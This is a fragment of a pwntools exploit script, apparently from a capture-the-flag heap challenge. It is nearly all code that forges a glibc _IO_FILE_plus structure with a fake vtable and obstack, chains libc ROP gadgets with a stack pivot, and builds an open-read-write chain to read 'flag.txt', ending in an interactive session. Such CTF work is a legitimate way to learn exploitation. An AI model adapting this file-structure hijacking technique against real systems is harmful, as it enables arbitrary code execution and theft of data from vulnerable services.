gg2 = libc.search(asm("pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret")).__next__()

tmp_addr = leak_heap+0x200
fp = IO_FILE_plus_struct()
fp.vtable = 0x1f2d18 - 0x10 + lb
fp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1 #0x28
fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1 #0x30
fp._IO_write_base = 0x0 #0x20
fp._lock=lb + 0x1f8a20

#fake a obsatck

fp._IO_read_base = flat("flag.txt") #0x18
fp._IO_backup_base = 0xff #0x50
fp._IO_buf_base = gg1 #0x38
fp._IO_save_base = tmp_addr #0x48

CG.set_find_area(1,1)

rop_pd = flat(
{
0:
[CG.orw_chain(fake_fp+0x18,leak_heap+0x100,2,1,0x30)]
}
)

pd = flat(
{0x0:bytes(fp),
0xe0:leak_heap+0xe8,
0xe8:[
0, #write_base 0
0, #write_ptr 8
leak_heap+0xe8 + 0x30 + 1, #write_end 0x10
leak_heap+0x110, #written 0x18
p32(11), #mode 0x20
],
0x110:leak_heap, #fake a obstack
0x200:{
0x8:gg2,
0x38:gg2,
0x48:tmp_addr,
0x10:tmp_addr+0x100, #rdi
0x18:tmp_addr,
0x28:libc.search(asm("leave;ret")).__next__(),
0x68:rop_pd
}
}
)

edit(0,flat(
{
0:pd[0x10:]
}
))
leak_ex2(gg1)
cmd(5)
#0x88
ia()